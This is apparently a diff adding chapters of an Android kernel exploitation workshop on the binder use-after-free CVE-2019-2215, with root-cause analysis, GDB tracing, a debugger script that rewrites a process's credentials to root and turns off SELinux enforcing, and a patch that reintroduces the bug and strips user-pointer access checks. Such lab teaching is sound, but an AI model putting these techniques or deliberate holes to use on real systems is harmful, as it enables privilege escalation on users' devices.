+        spin_unlock_irqrestore(&wq_head->lock, flags);
+}
+
          +
            +
          • calls spin_lock_irqsave function passing pointer wait_queue_head->lock to acquire lock
            • +
          +
          +

          Note: If you look at stack trace in Use section, you will see that the crash occurred because _raw_spin_lock_irqsave used the dangling chunk. This is exactly the same place where the use of the dangling chunk happened for the first time. Remember wait_queue_entry also contains the references to the dangling chunk.

          +
          +
            +
          • calls __remove_wait_queue function passing pointers to wait_queue_head and wait_queue_entry structures as the parameters
            • +
          +

          Let's open workshop/android-4.14-dev/goldfish/include/linux/wait.h and follow __remove_wait_queue function to figure out what it does.

          +
          static inline void
+__remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry)
+{
+        list_del(&wq_entry->entry);
+}
+
          +
            +
          • calls list_del function passing pointer to wait_queue_entry->entry which is of type struct list_head as the parameter
            • +
          +
          +

          Note: wait_queue_head is ignored and not used afterwards.

          +
          +

          Let's open workshop/android-4.14-dev/goldfish/include/linux/list.h and follow list_del function to figure out what it does.

          +
          static inline void list_del(struct list_head *entry)
+{
+        __list_del_entry(entry);
+        [...]
+}
+
+static inline void __list_del_entry(struct list_head *entry)
+{
+        [...]
+        __list_del(entry->prev, entry->next);
+}
+
+static inline void __list_del(struct list_head * prev, struct list_head * next)
+{
+        next->prev = prev;
+        WRITE_ONCE(prev->next, next);
+}
+
          +

          This is basically unlink operation and will write a pointer to binder_thread->wait.head to binder_thread->wait.head.next and binder_thread->wait.head.prev, basically unlink eppoll_entry->wait.entry from binder_thread->wait.head.

          +

          This is a much better primitive from the point of view of exploitation than the first use of dangling chunk.

          +

          Below given diagrams shows how circular double linked list works so that you have better picture of what's really happening.

          +

          Let's see how a single initialized node node1 looks like. In out context, node1 is binder_thread->wait.head and node2 is eppoll_entry->wait.entry.

          +

          + Double Link List Single Node +

          + +

          Now, let's see how two nodes node1 and node2 are linked.

          +

          + Double Link List Two Nodes +

          + +

          Now, let's see how node1 node looks like when node2 node is linked.

          +

          + Double Link List Unlink +

          + + +

          Static Analysis Recap

          +

          Let's do a recap of what we understood from the root cause analysis section.

          +

          In the beginning of the Static Analysis section we asked three questions, let's try to answer those.

          +
            +
          • Why binder_thread structure was allocated?
              +
            • ep_insert function triggers the call to binder_poll by calling ep_item_poll function
              • +
            • binder_poll tries to find a thread to use from the red black tree node and if it's not found, a new binder_thread structure is allocated
              • +
            +
            • +
          +
            +
          • Why binder_thread structure was freed?
              +
            • binder_thread structure is freed when ioctl system call is called explicitly, passing BINDER_THREAD_EXIT as the operation code
              • +
            +
            • +
          +
            +
          • Why the use of binder_thread structure happened when it's already freed?
              +
            • pointer to binder_thread->wait.head is not removed from eppoll_entry->whead and eppoll_entry->wait.entry when binder_thread structure is freed explicitly
              • +
            • when the eventpoll is removed by calling epoll_ctl and passing EPOLL_CTL_DEL as the operation parameter, it tries to unlink all the wait queues and uses the dangling binder_thread structure
              • +
            +
            • +
          +

          Dynamic Analysis

          +

          In this section, we will look into how we can use GDB automation to understand the crash behavior.

          +

          But before we start doing that, we need to make a hardware changes to the Android Virtual Device named CVE-2019-2215 we created in Android Virtual Device section.

          +

          We also need to build the Android Kernel without KASan, because we don't need the KASan support now.

          +

          hw.cpu.ncore

          +

          For better GDB debugging and tracing support, it's recommended to set the number of CPU cores to 1.

          +

          Open ~/.android/avd/CVE-2019-2215.avd/config.ini in a text editor and change line hw.cpu.ncore = 4 to hw.cpu.ncore = 1.

          +

          Build Kernel Without KASan

          +

          This section is exactly same as Build Kernel With KASan, but this time, we will use a different config file.

          +

          You will find the config file in workshop/build-configs/goldfish.x86_64.relwithdebinfo directory.

          +
          ARCH=x86_64
+BRANCH=relwithdebinfo
+
+CC=clang
+CLANG_PREBUILT_BIN=prebuilts-master/clang/host/linux-x86/clang-r377782b/bin
+BUILDTOOLS_PREBUILT_BIN=build/build-tools/path/linux-x86
+CLANG_TRIPLE=x86_64-linux-gnu-
+CROSS_COMPILE=x86_64-linux-androidkernel-
+LINUX_GCC_CROSS_COMPILE_PREBUILTS_BIN=prebuilts/gcc/linux-x86/x86/x86_64-linux-android-4.9/bin
+
+KERNEL_DIR=goldfish
+EXTRA_CMDS=''
+STOP_SHIP_TRACEPRINTK=1
+
+FILES="
+arch/x86/boot/bzImage
+vmlinux
+System.map
+"
+
+DEFCONFIG=x86_64_ranchu_defconfig
+POST_DEFCONFIG_CMDS="check_defconfig && update_debug_config"
+
+function update_debug_config() {
+    ${KERNEL_DIR}/scripts/config --file ${OUT_DIR}/.config \
+         -e CONFIG_FRAME_POINTER \
+         -e CONFIG_DEBUG_INFO \
+         -d CONFIG_DEBUG_INFO_REDUCED \
+         -d CONFIG_KERNEL_LZ4 \
+         -d CONFIG_RANDOMIZE_BASE
+    (cd ${OUT_DIR} && \
+     make O=${OUT_DIR} $archsubarch CROSS_COMPILE=${CROSS_COMPILE} olddefconfig)
+}
+
          +

          Now, let's use this config file and start the build process.

          +
          ashfaq@hacksys:~/workshop/android-4.14-dev$ BUILD_CONFIG=../build-configs/goldfish.x86_64.relwithdebinfo build/build.sh
+
          +

          Kernel Tracing

          +

          Our goal is to use GDB python breakpoint automation to trace function calls and dump the binder_thread structure chunk before and after it's freed. Also dump the same binder_thread structure before and after the unlink operation has been done.

          +

          You can find a python file ~/workshop/gdb/dynamic-analysis.py, where I have written some debugging automation to debug this vulnerability at runtime.

          +

          Let's boot emulator with the newly built kernel.

          +
          +

          Note: The patch to reintroduce the vulnerability is already applied.

          +
          +

          We need four terminal windows this time. Open the first terminal window and launch emulator.

          +
          ashfaq@hacksys:~/workshop$ emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/relwithdebinfo/dist/bzImage -qemu -s -S
+
          +

          In the second window, we will use GDB to attach to the qemu instance.

          +
          ashfaq@hacksys:~/workshop$ gdb -quiet ~/workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux -ex 'target remote :1234'
+
          +
          GEF for linux ready, type `gef' to start, `gef config' to configure
+77 commands loaded for GDB 8.2 using Python engine 2.7
+[*] 3 commands could not be loaded, run `gef missing` to know why.
+Reading symbols from /home/ashfaq/workshop/android-4.14-dev/out/kasan/dist/vmlinux...done.
+Remote debugging using :1234
+warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml"
+warning: Could not load XML target description; ignoring
+0x000000000000fff0 in exception_stacks ()
+gef> c
+Continuing.
+

          Once the Android is booted completely, open the third terminal window and where we will build the vulnerability trigger and push it to the virtual device.

          +
          ashfaq@hacksys:~/workshop$ cd exploit/
+ashfaq@hacksys:~/workshop/exploit$ NDK_ROOT=~/Android/Sdk/ndk/21.0.6113669 make build-trigger push-trigger
+Building: cve-2019-2215-trigger
+Pushing: cve-2019-2215-trigger to /data/local/tmp
+cve-2019-2215-trigger: 1 file pushed, 0 skipped. 44.8 MB/s (3958288 bytes in 0.084s)
+
          +

          Now, in the GDB window press CTRL+C to break in GDB so that we can load the custom python script.

          +

          You can find dynamic-analysis.py which is an automation built on top of GDB python scripting in workshop/gdb.

          +
          gef> c
+Continuing.
+^C
+Program received signal SIGINT, Interrupt.
+native_safe_halt () at /home/ashfaq/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
+61    }
+gef> source ~/workshop/gdb/dynamic-analysis.py
+Breakpoint 1 at 0xffffffff80824047: file /home/ashfaq/workshop/android-4.14-dev/goldfish/drivers/android/binder.c, line 4701.
+Breakpoint 2 at 0xffffffff802aa586: file /home/ashfaq/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 50.
+gef> c
+Continuing.
+

          Now, we can open the fourth terminal window, launch adb shell and run the trigger PoC.

          +
          ashfaq@hacksys:~/workshop/exploit$ adb shell
+generic_x86_64:/ $ cd /data/local/tmp
+generic_x86_64:/data/local/tmp $ ./cve-2019-2215-trigger
+generic_x86_64:/data/local/tmp $
+
          +

          As soon as you execute the trigger PoC, you will see this in the GDB terminal window.

          +
          binder_free_thread(thread=0xffff88800c18f200)(enter)
+0xffff88800c18f200:    0xffff88806793c000    0x0000000000000001
+0xffff88800c18f210:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f220:    0xffff88800c18f220    0xffff88800c18f220
+0xffff88800c18f230:    0x0000002000001b35    0x0000000000000001
+0xffff88800c18f240:    0x0000000000000000    0xffff88800c18f248
+0xffff88800c18f250:    0xffff88800c18f248    0x0000000000000000
+0xffff88800c18f260:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f270:    0x0000000000000003    0x0000000000007201
+0xffff88800c18f280:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f290:    0x0000000000000003    0x0000000000007201
+0xffff88800c18f2a0:    0x0000000000000000    0xffff88805c05cae0
+0xffff88800c18f2b0:    0xffff88805c05cae0    0x0000000000000000
+0xffff88800c18f2c0:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f2d0:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f2e0:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f2f0:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f300:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f310:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f320:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f330:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f340:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f350:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f360:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f370:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f380:    0x0000000000000000    0x0000000000000001
+0xffff88800c18f390:    0xffff88806d4bb200
+
+remove_wait_queue(wq_head=0xffff88800c18f2a0, wq_entry=0xffff88805c05cac8)(enter)
+0xffff88800c18f200:    0xffff88800c18f600    0x0000000000000001
+0xffff88800c18f210:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f220:    0xffff88800c18f220    0xffff88800c18f220
+0xffff88800c18f230:    0x0000002000001b35    0x0000000000000001
+0xffff88800c18f240:    0x0000000000000000    0xffff88800c18f248
+0xffff88800c18f250:    0xffff88800c18f248    0x0000000000000000
+0xffff88800c18f260:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f270:    0x0000000000000003    0x0000000000007201
+0xffff88800c18f280:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f290:    0x0000000000000003    0x0000000000007201
+0xffff88800c18f2a0:    0x0000000000000000    0xffff88805c05cae0
+0xffff88800c18f2b0:    0xffff88805c05cae0    0x0000000000000000
+0xffff88800c18f2c0:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f2d0:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f2e0:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f2f0:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f300:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f310:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f320:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f330:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f340:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f350:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f360:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f370:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f380:    0x0000000000000000    0x0000000000000001
+0xffff88800c18f390:    0xffff88806d4bb200
+
+Breakpoint 3 at 0xffffffff802aa5be: file /home/ashfaq/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 53.
+remove_wait_queue_wait.c:52(exit)
+0xffff88800c18f200:    0xffff88800c18f600    0x0000000000000001
+0xffff88800c18f210:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f220:    0xffff88800c18f220    0xffff88800c18f220
+0xffff88800c18f230:    0x0000002000001b35    0x0000000000000001
+0xffff88800c18f240:    0x0000000000000000    0xffff88800c18f248
+0xffff88800c18f250:    0xffff88800c18f248    0x0000000000000000
+0xffff88800c18f260:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f270:    0x0000000000000003    0x0000000000007201
+0xffff88800c18f280:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f290:    0x0000000000000003    0x0000000000007201
+0xffff88800c18f2a0:    0x0000000000000000    0xffff88800c18f2a8
+0xffff88800c18f2b0:    0xffff88800c18f2a8    0x0000000000000000
+0xffff88800c18f2c0:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f2d0:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f2e0:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f2f0:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f300:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f310:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f320:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f330:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f340:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f350:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f360:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f370:    0x0000000000000000    0x0000000000000000
+0xffff88800c18f380:    0x0000000000000000    0x0000000000000001
+0xffff88800c18f390:    0xffff88806d4bb200
+

          Now, let's analyze the output and try to understand what's happening.

          +

          If you remember, binder_free_thread is the function that will eventually free the binder_thread structure.

          +

          After free and before the unlink operation happens on binder_thread structure.

          +
          0xffff88800c18f2a0:    0x0000000000000000    0xffff88805c05cae0
+0xffff88800c18f2b0:    0xffff88805c05cae0    0x0000000000000000
+

          0xffff88800c18f2a0 + 0x8 is the offset of binder_thread->wait.head which links eppoll_entry->wait.entry.

          +
          gef> p offsetof(struct binder_thread, wait.head)
+$1 = 0xa8
+

          0xffff88805c05cae0 is pointer to eppoll_entry->wait.entry which is of type struct list_head.

          +

          After the unlink operation happened on binder_thread structure.

          +
          0xffff88800c18f2a0:    0x0000000000000000    0xffff88800c18f2a8
+0xffff88800c18f2b0:    0xffff88800c18f2a8    0x0000000000000000
+

          If you see closely, after the unlink operation happened, a pointer to binder_thread->wait.head is written to binder_thread->wait.head.next and binder_thread->wait.head.prev.

          +

          This is exactly what we figured out in the Static Analysis section.

          + + +
          + +
          +
          +
          + +

          results matching ""

          +
            + +
            +
            + +

            No results matching ""

            + +
            +
            +
            + +
            +
            + +
            + + + + + + + + + + + + + + +
            + + +
            + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/chapters/scripted-privilege-escalation.html b/chapters/scripted-privilege-escalation.html new file mode 100644 index 0000000..79c3514 --- /dev/null +++ b/chapters/scripted-privilege-escalation.html @@ -0,0 +1,1161 @@ + + + + + + + Scripted Privilege Escalation ยท Android Kernel Exploitation + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            +
            + + + + + + + + +
            + +
            + +
            + + + + + + + + +
            +
            + +
            +
            + +
            + +

            Scripted Privilege Escalation

            +

            Before moving to Root Cause Analysis chapter, let's first see how we can achieve privilege escalation using custom GDB script.

            +

            In Build Kernel and Boot Kernel, you learned how to build and boot a custom kernel in emulator.

            +

            GDB supports python scripting, let's see how we can use python for debugging automation.

            +

            Kernel Debugging

            +

            emulator uses qemu in the background and it supports gdbserver known as gdbstub. We can use it to do kernel debugging, if we have the vmlinux file for the corresponding kernel.

            +

            Let's boot the custom kernel that we built, but this time, with gdbstub enabled. For this we will need two terminal windows.

            +

            In the first window, we will run the emulator with gdbstub enabled.

            +
            ashfaq@hacksys:~/workshop$ emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/kasan/dist/bzImage -qemu -s -S
+
            +
            +

            Note: -qemu arguments states that the next parameters will be passed to underlying qemu emulator. -s argument is for qemu which is a shorthand for -gdb tcp::1234. -S argument makes qemu to wait for the debugger to connect.

            +
            +

            In the second window, we will use GDB to attach to the qemu instance.

            +
            ashfaq@hacksys:~/workshop$ gdb -quiet ~/workshop/android-4.14-dev/out/kasan/dist/vmlinux -ex 'target remote :1234'
+
            +
            GEF for linux ready, type `gef' to start, `gef config' to configure
+77 commands loaded for GDB 8.2 using Python engine 2.7
+[*] 3 commands could not be loaded, run `gef missing` to know why.
+Reading symbols from /home/ashfaq/workshop/android-4.14-dev/out/kasan/dist/vmlinux...done.
+Remote debugging using :1234
+warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml"
+warning: Could not load XML target description; ignoring
+0x000000000000fff0 in exception_stacks ()
+gef> c
+Continuing.
+

            Once the Android is booted completely, we can open the third terminal window and launch adb shell.

            +
            ashfaq@hacksys:~/workshop$ adb shell
+generic_x86_64:/ $ uname -a
+Linux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Sat Apr x86_64
+generic_x86_64:/ $ id
+uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
+generic_x86_64:/ $ 
+generic_x86_64:/ $ dmesg
+dmesg: klogctl: Permission denied
+1|generic_x86_64:/ $ 
+1|generic_x86_64:/ $ pidof sh                                                                                        
+7474
+generic_x86_64:/ $
+
            +

            In the adb shell window, we can see that currently we are running with uid=2000(shell) gid=2000(shell) and does not have rights to see dmesg. To read dmesg, we will need root privileges.

            +

            pidof sh is 7474, our goal is to use kernel debugging with GDB automation to do privilege escalation and give the root privileges to this sh process.

            +

            Now, in the GDB window press CTRL+C to break in GDB so that we can issue some commands.

            +

            You can find root-me.py which is an automation built on top of GDB python scripting in ~/workshop/gdb.

            +
            # -*- coding: utf-8 -*-
+
+import gdb
+import struct
+
+[...]
+
+def write32(address, value):
+    gdb.selected_inferior().write_memory(address, struct.pack("<i", value), 4)
+
+def write64(address, value):
+    gdb.selected_inferior().write_memory(address, struct.pack("<Q", value), 8)
+
+def root_me(task):
+    cred = task["cred"]
+
+    uid = cred["uid"]
+    gid = cred["gid"]
+    suid = cred["suid"]
+    sgid = cred["sgid"]
+    euid = cred["euid"]
+    egid = cred["egid"]
+    fsuid = cred["fsuid"]
+    fsgid = cred["fsgid"]
+
+    securebits = cred["securebits"]
+
+    cap_inheritable = cred["cap_inheritable"]
+    cap_permitted = cred["cap_permitted"]
+    cap_effective = cred["cap_effective"]
+    cap_bset = cred["cap_bset"]
+    cap_ambient = cred["cap_ambient"]
+
+    write32(uid.address, 0)    # GLOBAL_ROOT_UID = 0
+    write32(gid.address, 0)    # GLOBAL_ROOT_GID = 0
+    write32(suid.address, 0)   # GLOBAL_ROOT_UID = 0
+    write32(sgid.address, 0)   # GLOBAL_ROOT_GID = 0
+    write32(euid.address, 0)   # GLOBAL_ROOT_UID = 0
+    write32(egid.address, 0)   # GLOBAL_ROOT_GID = 0
+    write32(fsuid.address, 0)  # GLOBAL_ROOT_UID = 0
+    write32(fsgid.address, 0)  # GLOBAL_ROOT_GID = 0
+
+    write32(securebits.address, 0)  # SECUREBITS_DEFAULT = 0
+
+    write64(cap_inheritable.address, 0)           # CAP_EMPTY_SET = 0x0000000000000000
+    write64(cap_permitted.address, 0x3FFFFFFFFF)  # CAP_FULL_SET = 0x0000003FFFFFFFFF
+    write64(cap_effective.address, 0x3FFFFFFFFF)  # CAP_FULL_SET = 0x0000003FFFFFFFFF
+    write64(cap_bset.address, 0x3FFFFFFFFF)       # CAP_FULL_SET = 0x0000003FFFFFFFFF
+    write64(cap_ambient.address, 0)               # CAP_EMPTY_SET = 0x0000000000000000
+
+[...]
+
+def disable_selinux_enforcing():
+    selinux_enforcing = gdb.parse_and_eval("selinux_enforcing")
+    write32(selinux_enforcing.address, 0)
+
+[...]
+
+class RootByPidFunc(gdb.Command):
+    def __init__(self):
+        super(RootByPidFunc, self).__init__("root-by-pid", gdb.COMMAND_DATA)
+
+    def invoke(self, arg, from_tty):
+        argv = gdb.string_to_argv(arg)
+
+        if not argv:
+            raise gdb.GdbError("PID not provided")
+
+        pid = int(argv[0])
+        task = get_task_by_pid(pid)
+
+        if not task:
+            raise gdb.GdbError("No task of PID: {0}".format(pid))
+
+        [...]
+        root_me(task)
+        [...]
+        disable_selinux_enforcing()
+        [...]
+
+# register the commands
+[...]
+RootByPidFunc()
+
            +

            Let's load this file in GDB and give root privilege to sh process with pid 7474.

            +
            gef> c
+Continuing.
+^C
+Thread 1 received signal SIGINT, Interrupt.
+native_safe_halt () at /home/ashfaq/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
+61    }
+gef> source ~/workshop/gdb/root-me.py 
+gef> root-by-pid 7474
+[+] Rooting
+    [*] PID: 0x1d32
+    [*] Cmd: sh
+    [*] Task: 0xffff888033521d40
+[+] Patching cred
+    [*] Cred: 0xffff8880580f1480
+[+] Patching selinux_enforcing
+    [*] selinux_enforcing: 0xffffffff82b34028 <selinux_enforcing>
+[*] Rooting complete
+gef> c
+Continuing.
+

            Let's verify if sh process is having root privileges.

            +
            generic_x86_64:/ $ dmesg
+dmesg: klogctl: Permission denied
+1|generic_x86_64:/ $ 
+1|generic_x86_64:/ $ id
+uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
+generic_x86_64:/ $
+generic_x86_64:/ $ dmesg | head                                                                                    
+[   34.036876] apexd: Scanning /product/apex for embedded keys
+[   34.037889] apexd: ... does not exist. Skipping
+[   34.038743] apexd: Populating APEX database from mounts...
+[   34.040108] apexd: Failed to walk /product/apex : Can't open /product/apex for reading : No such file or directory
+[   34.042497] apexd: Found "/apex/com.android.tzdata@290000000"
+[   34.043586] apexd: Found "/apex/com.android.runtime@1"
+[   34.044542] apexd: 2 packages restored.
+[   34.054885] type=1400 audit(1586624810.629:5): avc: denied { getattr } for comm="ls" path="/data/misc" dev="vdc" ino=13 scontext=u:r:toolbox:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0
+[   34.057660] type=1400 audit(1586624810.659:6): avc: denied { ioctl } for comm="init" path="/data/vendor" dev="vdc" ino=21 ioctlcmd=0x6615 scontext=u:r:init:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0
+[   34.073716] type=1400 audit(1586624810.659:6): avc: denied { ioctl } for comm="init" path="/data/vendor" dev="vdc" ino=21 ioctlcmd=0x6615 scontext=u:r:init:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0
+
            +

            Awesome, privilege escalation is successful and we are going to achieve the same thing using a kernel vulnerability.

            + + +
            + +
            +
            +
            + +

            results matching ""

            +
              + +
              +
              + +

              No results matching ""

              + +
              +
              +
              + +
              +
              + +
              + + + + + + + + + + + + + + +
              + + +
              + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/chapters/vulnerability-discovery.html b/chapters/vulnerability-discovery.html new file mode 100644 index 0000000..27be9c1 --- /dev/null +++ b/chapters/vulnerability-discovery.html @@ -0,0 +1,1058 @@ + + + + + + + Vulnerability Discovery ยท Android Kernel Exploitation + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
              +
              + + + + + + + + +
              + +
              + +
              + + + + + + + + +
              +
              + +
              +
              + +
              + +

              Vulnerability Discovery

              +

              We are going to look at CVE-2019-2215 which is a Use after Free vulnerability in Binder IPC subsystem.

              +

              This is a very severe vulnerability because binder subsystem is reachable from Chrome sandbox and can lead to privilege escalation if chained with a renderer exploit.

              +

              Original Discovery

              +

              This bug was initially discovered by syzbot (syzkaller bot) in the month of November 2017 without a reproducer. In the month of December 2017 syzbot was able to find a reproducer. You can find the original bug report here https://groups.google.com/forum/#!msg/syzkaller-bugs/QyXdgUhAF50/eLGkcwk9AQAJ

              +

              This bug was patched in February 2018 without a CVE number. Hence, the patch was not back-ported to many already released devices like Pixel and Pixel 2.

              +

              Rediscovery

              +

              This bug was rediscovered by Maddie Stone (@maddiestone) of Project Zero based on an intelligence report from Google's Threat Analysis Group (TAG). She reported this vulnerability on 27th September 2019. You can find Maddie's report here https://bugs.chromium.org/p/project-zero/issues/detail?id=1942

              +

              The rediscovery of this bug is very interesting, Maddie documented it with the exploitation primitive here https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html

              +

              I strongly suggest you all to read the blog post, so that you know the interesting story about the rediscovery of this bug.

              +

              Patch

              +

              This bug got patched in q-goldfish-android-goldfish-4.14-dev with commit id 7a3cee43e935b9d526ad07f20bf005ba7e74d05b.

              +
              ashfaq@hacksys:~/workshop/android-4.14-dev$ cd goldfish/
+ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git show 7a3cee43e935b9d526ad07f20bf005ba7e74d05b
+
              +
              commit 7a3cee43e935b9d526ad07f20bf005ba7e74d05b
+Author: Martijn Coenen <maco@android.com>
+Date:   Fri Jan 5 11:27:07 2018 +0100
+
+    ANDROID: binder: remove waitqueue when thread exits.
+
+    commit f5cb779ba16334b45ba8946d6bfa6d9834d1527f upstream.
+
+    binder_poll() passes the thread->wait waitqueue that
+    can be slept on for work. When a thread that uses
+    epoll explicitly exits using BINDER_THREAD_EXIT,
+    the waitqueue is freed, but it is never removed
+    from the corresponding epoll data structure. When
+    the process subsequently exits, the epoll cleanup
+    code tries to access the waitlist, which results in
+    a use-after-free.
+
+    Prevent this by using POLLFREE when the thread exits.
+
+    Signed-off-by: Martijn Coenen <maco@android.com>
+    Reported-by: syzbot <syzkaller@googlegroups.com>
+    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
+
+diff --git a/drivers/android/binder.c b/drivers/android/binder.c
+index a340766b51fe..2ef8bd29e188 100644
+--- a/drivers/android/binder.c
++++ b/drivers/android/binder.c
+@@ -4302,6 +4302,18 @@ static int binder_thread_release(struct binder_proc *proc,
+                if (t)
+                        spin_lock(&t->lock);
+        }
++
++       /*
++        * If this thread used poll, make sure we remove the waitqueue
++        * from any epoll data structures holding it with POLLFREE.
++        * waitqueue_active() is safe to use here because we're holding
++        * the inner lock.
++        */
++       if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
++           waitqueue_active(&thread->wait)) {
++               wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
++       }
++
+        binder_inner_proc_unlock(thread->proc);
+
+        if (send_reply)
+
              +
              +

              Note: You won't be able to see this commit history because we did a shallow clone. However, I have a full clone of the q-goldfish-android-goldfish-4.14-dev branch.

              +
              + + +
              + +
              +
              +
              + +

              results matching ""

              +
                + +
                +
                + +

                No results matching ""

                + +
                +
                +
                + +
                +
                + +
                + + + + + + + + + + + + + + +
                + + +
                + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/chapters/vulnerability-trigger.html b/chapters/vulnerability-trigger.html new file mode 100644 index 0000000..db2230c --- /dev/null +++ b/chapters/vulnerability-trigger.html @@ -0,0 +1,1396 @@ + + + + + + + Vulnerability Trigger ยท Android Kernel Exploitation + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
                +
                + + + + + + + + +
                + +
                + +
                + + + + + + + + +
                +
                + +
                +
                + +
                + +

                Vulnerability Trigger

                +

                In Android Kernel Source Code section, we synchronized q-goldfish-android-goldfish-4.14-dev branch. However, CVE-2019-2215 is already patched in q-goldfish-android-goldfish-4.14-dev.

                +

                We will reintroduce the vulnerability by applying a custom patch and then build it with Kernel Address Sanitizer (KASan) support.

                +

                Reintroduction

                +

                You can find the custom patch in the workshop/patch directory which will reintroduce the vulnerability again.

                +
                diff --git a/drivers/android/binder.c b/drivers/android/binder.c
+index f6ddec245187..55e2748a13e4 100644
+--- a/drivers/android/binder.c
++++ b/drivers/android/binder.c
+@@ -4768,10 +4768,12 @@ static int binder_thread_release(struct binder_proc *proc,
+      * waitqueue_active() is safe to use here because we're holding
+      * the inner lock.
+      */
++    /*
+     if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
+         waitqueue_active(&thread->wait)) {
+         wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
+     }
++    */
+
+     binder_inner_proc_unlock(thread->proc);
+
+@@ -4781,8 +4783,10 @@ static int binder_thread_release(struct binder_proc *proc,
+      * descriptor being closed); ep_remove_waitqueue() holds an RCU read
+      * lock, so we can be sure it's done after calling synchronize_rcu().
+      */
++    /*
+     if (thread->looper & BINDER_LOOPER_STATE_POLL)
+         synchronize_rcu();
++    */
+
+     if (send_reply)
+         binder_send_failed_reply(send_reply, BR_DEAD_REPLY);
+diff --git a/lib/iov_iter.c b/lib/iov_iter.c
+index 7b2fd5f251f2..67af61637f55 100644
+--- a/lib/iov_iter.c
++++ b/lib/iov_iter.c
+@@ -132,19 +132,21 @@
+
+ static int copyout(void __user *to, const void *from, size_t n)
+ {
+-    if (access_ok(VERIFY_WRITE, to, n)) {
++    /*if (access_ok(VERIFY_WRITE, to, n)) {
+         kasan_check_read(from, n);
+         n = raw_copy_to_user(to, from, n);
+-    }
++    }*/
++    n = raw_copy_to_user(to, from, n);
+     return n;
+ }
+
+ static int copyin(void *to, const void __user *from, size_t n)
+ {
+-    if (access_ok(VERIFY_READ, from, n)) {
++    /*if (access_ok(VERIFY_READ, from, n)) {
+         kasan_check_write(to, n);
+         n = raw_copy_from_user(to, from, n);
+-    }
++    }*/
++    n = raw_copy_from_user(to, from, n);
+     return n;
+ }
+
                +

                Let's apply the patch and see which files are modified.
